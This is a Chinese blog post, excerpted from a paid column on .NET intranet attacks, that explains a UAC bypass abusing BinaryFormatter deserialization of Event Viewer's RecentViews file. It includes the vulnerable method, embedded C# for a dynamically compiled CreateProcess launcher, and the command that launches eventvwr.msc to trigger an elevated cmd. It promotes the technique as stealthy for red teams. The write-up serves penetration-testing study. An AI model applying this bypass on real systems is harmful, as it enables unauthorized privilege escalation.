.NET内网实战:通过白名单文件反序列化漏洞绕过UAC

01阅读须知

此文所节选自小报童《.NET 内网实战攻防》专栏,主要内容有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧,对内网和后渗透感兴趣的朋友们可以订阅该电子报刊,解锁更多的报刊内容。

02基本介绍

03原理分析

在渗透测试和红队活动中,权限提升是重要的一环,尤其是在没有管理员权限的情况下执行更高权限的操作。有一种思路利用 Windows 事件查看器 eventvwr.msc 的高权限加载特性和 XAML 反序列化机制,以绕过 UAC 限制。

3.1 Windows事件查看器

在 Windows 系统中,事件查看器Event Viewer是一个非常有用的管理工具,可以帮助系统管理员和安全分析人员查看系统日志、应用程序日志、安全日志等。通常情况位于当前系统用户下的AppData\Local\Microsoft\Event Viewer目录。

在事件查看器启动过程中,Windows 会自动加载 EventViewer.dll,这是事件查看器的核心 .NET 组件之一,提供事件记录的读取、解析和显示功能,如下图所示。

由于 EventViewer.dll内部调用了LoadMostRecentViewsDataFromFile方法,此方法调用BinaryFormatter().Deserialize方法反序列化读取最近的事件记录内容,核心漏洞代码如下所示。

private void LoadMostRecentViewsDataFromFile()
{
   try
	{
	if (!string.IsNullOrEmpty(EventsNode.recentViewsFile) && File.Exists(EventsNode.recentViewsFile))
		{
		FileStream fileStream = new FileStream(EventsNode.recentViewsFile, FileMode.Open);
		object syncRoot = EventsNode.recentViewsDataArrayList.SyncRoot;
		lock (syncRoot)
		{
		EventsNode.recentViewsDataArrayList = (ArrayList)new BinaryFormatter().Deserialize(fileStream);
		}
		fileStream.Close();
	}
}catch (FileNotFoundException){}
}

3.2 动态编译启动新进程

首先代码中定义了一个名为 CreateSerializedData 的静态方法,方法内部的 text 字符串包含一段完整的.NET代码,用于创建一个控制台程序,内部使用了 DllImport 引入 Windows API 函数 CreateProcess,用于在桌面上创建一个新进程。

string text = "\r\nusing System;\r\nusing System.Runtime.InteropServices;\r\n\r\n\r\nclass HelloWorld\r\n{\r\n    [DllImport(\"kernel32.dll\")]\r\n    private static extern bool CreateProcess(\r\n     int dwCreationFlags,\r\n     IntPtr lpEnvironment,\r\n ref STARTUPINFO lpStartupInfo,\r\n     ref PROCESS_INFORMATION lpProcessInformation);\r\n\r\n    [StructLayout(LayoutKind.Sequential)]\r\n    struct STARTUPINFO\r\n    {\r\n        public Int32 cb;\r\n        public string lpReserved;\r\n        public string lpDesktop;\r\n        public string lpTitle;\r\n        public Int32 dwX;\r\n        public Int32 dwY;\r\n        public Int32 dwXSize;\r\n        public Int32 dwYSize;\r\n        public Int32 dwXCountChars;\r\n        public Int32 dwYCountChars;\r\n        public Int32 dwFillAttribute;\r\n        public Int32 dwFlags;\r\n        public Int16 wShowWindow;\r\n        public Int16 cbReserved2;\r\n        public IntPtr lpReserved2;\r\n        public IntPtr hStdInput;\r\n        public IntPtr hStdOutput;\r\n        public IntPtr hStdError;\r\n    }\r\n\r\n  internal struct PROCESS_INFORMATION\r\n    {\r\n        public IntPtr hProcess;\r\n        public IntPtr hThread;\r\n        public int dwProcessId;\r\n        public int dwThreadId;\r\n    }\r\n    \r\n\r\n    static void Main(string[] args)\r\n    {\r\n        string DesktopName=args[0];\r\n        string argumentsAsString = string.Join(\" \", args, 1, args.Length - 1);\r\n        STARTUPINFO si = new STARTUPINFO();\r\n        si.cb = Marshal.SizeOf(si);\r\n        si.lpDesktop = DesktopName;\r\n        PROCESS_INFORMATION pi = new PROCESS_INFORMATION();\r\n        bool success = CreateProcess(\r\n            null,\r\n            argumentsAsString,\r\n            IntPtr.Zero,\r\n            IntPtr.Zero,\r\n            false,\r\n            48,\r\n            IntPtr.Zero,\r\n            null,\r\n            ref si,\r\n            ref pi);\r\n    }\r\n}\r\n";
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine("Compling StartInSelectedDesktop...");
compilerParameters.GenerateExecutable = true;
compilerParameters.OutputAssembly = Path.Combine(Path.GetTempPath(), "StartInSelectedDesktop.exe");

3.3 白加黑启动绕过UAC

利用 eventvwr.msc 进程来触发恶意载荷的反序列化,从而绕过用户账户控制 (UAC) 限制启动新的 cmd 进程。因为此时恶意负载已经写入到 C:\Users\Ivan1ee\AppData\Local\Microsoft\Event Viewer\RecentViews,自动化打开事件查看器即可触发漏洞。具体代码如下所示

if (!Program.CreateProcess(null, "cmd /c start \"\" \"%windir%\\system32\\eventvwr.msc\"", IntPtr.Zero, IntPtr.Zero, false, 48, IntPtr.Zero, null, ref structure, ref process_INFORMATION))

综上,利用了Windows事件查看器的反序列化漏洞,具备强大的UAC绕过能力。在红队渗透测试中,其高度隐蔽性和无文件特性而受到广泛应用。

04**.NET 电子报刊**

小报童电子报刊【.NET内网安全攻防】,引入小报童也是为了弥补知识星球对于轻量级阅读支持的不足,为用户读者提供更佳的阅读体验。内容主要有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧,可细分为以下8个方向。

1) .NET 安全防御绕过
2) .NET 本地权限提升
3) .NET 内网信息收集
4) .NET 内网代理通道
5) .NET 内网横向移动
6) .NET 目标权限维持
7) .NET 数据传输外发
8) .NET 目标痕迹清理
相关推荐
skywalk816344 分钟前
JupyterLab notebook环境在Ubuntu24.04下的安装和Windows 10下vscode远程使用jupyter
windows·vscode·ubuntu·jupyter
lzhdim8 小时前
XML工具类 - C#小函数类推荐
xml·开发语言·windows·c#
爱研究的小牛9 小时前
Midjourney技术浅析(八):交互与反馈
人工智能·microsoft·aigc·交互·midjourney
Gauss松鼠会10 小时前
数据库高安全—角色权限:角色创建角色管理
数据库·人工智能·windows·安全·华为云·gaussdb
一品人家11 小时前
win32汇编环境下,对话框程序中生成listview列表控件,点击标题栏自动排序的示例
汇编·windows·microsoft
凌盛羽12 小时前
在CodeBlocks搭建SDL2工程构建TFT彩屏模拟器虚拟TFT彩屏幕显示
windows·嵌入式硬件·ffmpeg·c#
小码编匠14 小时前
Windows 客户端软件自动更新服务的开发有哪些需求?
人工智能·windows·后端
番茄电脑全能王15 小时前
电脑找不到mfc110.dll文件要如何解决?Windows缺失mfc110.dll文件快速解决方法
windows
小王爱吃月亮糖1 天前
QT-【常用容器类】-QList类& QLinkedList类
开发语言·windows·笔记·qt